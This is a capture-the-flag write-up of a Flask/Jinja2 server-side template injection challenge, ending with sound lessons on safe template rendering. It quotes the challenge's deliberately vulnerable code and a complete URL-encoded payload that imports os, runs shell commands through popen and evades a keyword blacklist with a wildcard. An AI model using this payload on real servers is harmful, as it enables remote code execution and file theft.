# Render Me This Welcome to the write-up for **Render Me This**. This challenge falls under the "web" category and demonstrates a severe vulnerability found in modern web frameworks known as **Server-Side Template Injection (SSTI)**. We are presented with a "Profile Viewer" application that takes a user's name and renders a custom greeting. Our goal is to exploit the rendering engine to read the flag from the server. --- ## 1. Initial Reconnaissance The challenge provides us with a URL and the source code. When we visit the site, we see a simple page greeting "Guest". The URL likely looks like this: `http://challenge-url/?name=Guest` If we change the `name` parameter to `Test`, the page updates to say "Hello, Test!". This confirms that our input is being reflected on the page. ## 2. Source Code Analysis Let's examine the provided `app.py` to understand how the page is generated. ```python @app.route('/') def index(): # Get the 'name' parameter name = request.args.get('name', 'Guest') # 1. Check for Blacklisted words for bad_word in BLACKLIST: if bad_word in name.lower(): return "Hacker detected! ..." # 2. Vulnerable Template Construction template = f''' ...

Hello, {name}!

... ''' # Render the template return render_template_string(template) ``` ### The Vulnerability: SSTI The critical flaw is in how the `template` string is constructed. The developer uses a Python f-string (`f'''... {name} ...'''`) to insert the user's input *directly into the template source code* before passing it to `render_template_string`. In Flask (Jinja2), `{{ ... }}` is used to execute code within a template. By injecting `{{ 7*7 }}`, we can ask the server to calculate 7*7. If the page displays "49", we have code execution. ### The Obstacle: The Blacklist The application attempts to secure itself with a blacklist: `BLACKLIST = ["config", "self", "flag"]` This means we cannot use the standard SSTI payloads like `{{ config }}` or `{{ self.__dict__ }}`. We also cannot simply run `cat flag.txt` because the word "flag" is forbidden. ## 3. Developing the Exploit We need to find a way to access the Python `os` module to run system commands, without using the blacklisted words. In Python web frameworks like Flask, the `request` object is often available in the template context. Through `request`, we can traverse the Python object hierarchy to reach the global scope and import modules. **Step 1: Accessing Built-ins** We can use the `request` object to access the global scope: `request.application.__globals__` From there, we can access Python's built-in functions: `request.application.__globals__.__builtins__` **Step 2: Importing OS** Now we can use the `__import__` function to load the `os` module: `request.application.__globals__.__builtins__.__import__('os')` **Step 3: Executing Commands** With the `os` module, we can use `popen` to execute shell commands and `read` to get the output: `.popen('ls').read()` **Step 4: Bypassing the "flag" Filter** If we try to run `cat flag.txt`, the application will block us because it contains "flag". We can bypass this using shell wildcards. instead of `flag.txt`, we can say `fl*`. `cat fl*` matches `flag.txt` but doesn't contain the forbidden string "flag". ## 4. The Final Payload Putting it all together, our payload looks like this: `{{ request.application.__globals__.__builtins__.__import__('os').popen('cat fl*').read() }}` We need to URL-encode this payload before sending it to the server. **Encoded URL:** `?name=%7B%7B%20request.application.__globals__.__builtins__.__import__(%27os%27).popen(%27cat%20fl*%27).read()%20%7D%7D` ## 5. The Solution Sending the payload to the server executes the command, reads the flag file, and renders the result on the page. **Flag:** `{flag:SSTI_Is_Pow3rful_Even_With_Basic_Filters}` --- ## Lessons Learned * **Context Matters:** Never concatenate user input directly into a template string. * **Use the Framework Correctly:** Always pass data as context variables to the render function. * *Vulnerable:* `render_template_string(f"Hello {name}")` * *Secure:* `render_template_string("Hello {{ name }}", name=user_input)` * **Blacklists Fail:** trying to block specific words ("flag", "config") is rarely effective. Hackers can almost always find a way around them (e.g., string concatenation, encoding, wildcards). Happy Hacking!